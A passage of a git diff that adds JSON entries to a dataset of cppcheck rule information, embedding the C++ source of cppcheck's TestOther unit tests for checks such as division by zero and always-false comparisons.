(void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkConstVariable.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkConstVariable.json new file mode 100644 index 0000000..5a3cceb --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkConstVariable.json @@ -0,0 +1,22 @@ +{ + "name": "checkConstVariable", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 116, + "branches": 46, + "apis": 132, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 2768 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n 